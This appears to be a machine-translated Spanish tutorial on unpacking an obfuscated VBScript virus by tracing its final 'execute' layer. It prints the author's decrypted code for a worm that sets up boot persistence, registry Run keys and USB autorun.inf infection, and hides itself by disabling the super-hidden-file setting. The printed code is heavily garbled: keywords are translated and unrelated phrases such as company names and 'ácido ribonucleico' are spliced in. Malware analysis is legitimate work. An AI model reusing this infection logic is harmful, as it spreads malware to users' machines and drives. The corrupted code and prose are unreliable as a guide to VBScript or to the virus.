Tutorial ded del paquete de código fuente
Este es un virus de secuencia de comandos vbs. Parece un código confuso y no se puede entender en absoluto. De hecho, aún quedan huellas por seguir. La idea es encontrar la palabra clave "ejecución". Finalmente, el virus será reemplazado por algo que la máquina pueda entender, lo que significa que el contenido de la última capa de ejecución es el código fuente del virus. Con base en esta idea, podemos saber que el método de descifrado debe estar en esta ejecución.
En otras palabras: no necesitas saber cómo se cifra, solo necesitas saber qué es ejecutar.
Siguiendo esta idea, podemos obtener el código antes de la última iteración del proceso de cifrado del programa, es decir, el código para la primera iteración del descifrado todavía parece confuso, pero de la misma manera. , siempre podemos encontrar la palabra clave ejecutar. Un virus puede pasar por muchas iteraciones, pero eventualmente será comprendido.
Cabe señalar que si el contenido después de la ejecución se descifra y realmente se ejecuta con ejecutar, entonces será una trampa, por lo que se debe tener en cuenta que la ejecución no se puede colocar y ejecutar juntas.
El siguiente es el fragmento de código que finalmente descifré.
En comparación con BT, el autor de este programa cifró manualmente muchos lugares y codificó manualmente el código, lo que obstaculizó seriamente la legibilidad del programa.
Después de analizar el código, su función general es
1. Inicia automáticamente al arrancar
2. Infección del disco USB
3. Destruye las funciones ocultas del sistema
Continúa con el siguiente paso cuando ocurre un error
j="\":til="SY":btj=900:vs= ". vbs":ve= " . vbe ":cm = " % com spec %/c ":dfo = "/u # t/":INF = " \ autorun INF "
set ws = createobject. (" wscript . shell " ):set FSO = createobject(" scripting . objeto del sistema de archivos ")
set wmi = getobject(" winmgmt:\ \.\ root \ CIM v2 "):set sis = wmi . execquery(" seleccione * de win32 _ sistema operativo ")
establezca DC = unidades FSO: establezca ATS = wmi .(" seleccione * de win32 _ servicio donde nombre = 'Programar' ").
Para cada ATC en ats: cat = ATC state:next: si cat="Detenido ", entonces ws.run "net start ""programador de tareas" "", 0, false
ouw = wscript . nombre completo del script:win = FSO . getspecialfolder(0)amp; j:dir = FSO . = dir & amp ;" wbem\":mir=left(ouw,len(ouw)-len(wscript . nombre del script))
CNR = " \ nombre de la computadora ":CNP = " HKLM \system \ conjunto de control actual \ Control "y China CNR Group Co., Ltd. China CNR Corporation Limited.
cnr: cna=rr (cnp, 0): si cna = " " entonces cna = til
WSC = " wscript . exe " : CSC = " cscript . exe " : CSS = CSC & amp; //sin logotipo ":wsr = rn &:createobject (""wscript.shell " "). Ejecute "
c = vbcrlf:Inc = til & amp;c & amp"[Autorun]" & amp;c & amp" open = " & ampwsc & amp" .\ " & ampvs & ampc & amp" shell \ open \ command = " & ampwsc & amp" .\ " & ampvs & ampc & amp" shell\open\default=1 "
SF = " carpetas de shell \ ":ROP = " \software\Microsoft\windows\actual version\explorer\":DAP = RR("HKCU"&rop&sf&"Desktop",0)&j
HKLM Software Corporation .cna &j:FSP = RR ("HKLM" &rop&sf&"Inicio normal",0)&J&J.
vs:FAP = RR(" HKCU "rop&sf&"Favoritos",0)&j
ht=ec("ivwt?56"):ha = EC(": ;9:7>5k w9 ") :HB = HL & amp;"1;& lt& lt= 6x " & amphl & amp" r;":hc="0dwuEpE":hd=ec
(" $"+hc):he =ec("c"+hc)
RSP = " HKLM\Software\Microsoft\Windows\Current Version\ ":rsb = RSP & amp;" ejecutar \ ":RSP = RSP &"Policy \Explorer\Run\"&canadian nuclear Association Asociación Nuclear Canadiense
hip="HKCU"&rop&advanced\showsuperhidden" :SZ = lcase(FSO . get filename(wscript . nombre completo)):if mir=dir, luego sys=true
Para cada si en
sis:ca = si . Idioma del sistema operativo:wv = si .version:next
if instr(wv, "5.2")& lt; & gt0 entonces hb="w"+hb:lb="v "de lo contrario, si os &. lt& gt2052 y cc & lt& gt entonces 86
HB = " p "+HB:lb = " o " else HB = " d "+HB:lb = " c "
Para cada d en dc
si mir = d & ampj entonces ws.run " explorer " & ampd , 3, false:bir=true
Entonces
Si bir o sys o mir=win o mir=wbe, entonces tir=true else wscript.quit
ouc=rt(ouw,-1):ver=gv(ouw):if ver="" o no isnumeric(ver) then msgbox("¡Nos vemos!"):km 1
else km 0
Si sys entonces
Si sz=wsc, entonces pr csc, -1
Si pr(csc, 2)=1, entonces wscript.quit
wscript.sleep 2000
Si pr(csc, 1)=0, entonces ws.run css & amp director & ampve, 0, false: si pr(csc, 1) =1, entonces wscript.quit
if rr("til ", 1) & lt;& gttil luego wr "til ", til:wr "tjs ", btj:wr "djs ", fecha- 1:wr "ded",0
djs=rr("djs", 1): si es fecha (DJ) y fecha-c fecha (DJ)>50 lb<& gt"o"entonces wr "OSW", 4
Si rr("atd ", 1)=1 entonces ws. ejecute "at /d /y ", 0, false:wr "atd ", 0
le=rr("dna", 1):if ei(tmp & le, 1) entonces ws.run tmp y soy
pComercio pragmático (Bolsa de trabajo)ˌBajo explosivo(Bajo explosivo)ˌAgencia de empleo (Bolsa de trabajo)
cu:er 10
Otros
wscript .sleep 5000 p>
Si pr(wsc, 2)=2 entonces: si rr("tjc ", 1)=cstr(fecha) entonces: wscript.quit:else:wr "tjc ", fecha
Si pr(csc,1)<>1 o pr(wsc,1)=0, entonces bf dir&ve,ouc,7:ws ejecuta CSS&director&ve,0 , false
Terminará si... .
Si pa=1, entonces arn = rpa y amp ácido ribonucleico
rr=ws.regread(rna)
Si er(0) entonces rr =0
para I = 1 a len(wt):EC = EC+chr(ASC(mid(wt,I,1))- i):Siguiente
Porque como JS, VBS es un lenguaje interpretado y el código se ejecuta línea por línea de arriba a abajo. Entonces, el truco para entender este tipo de código es:
Cuando buscamos el punto de entrada de descifrado, debemos priorizar la última ejecución. El autor hace un uso extensivo del empalme lógico. . . Es un cifrado muy BT. . . Ansioso...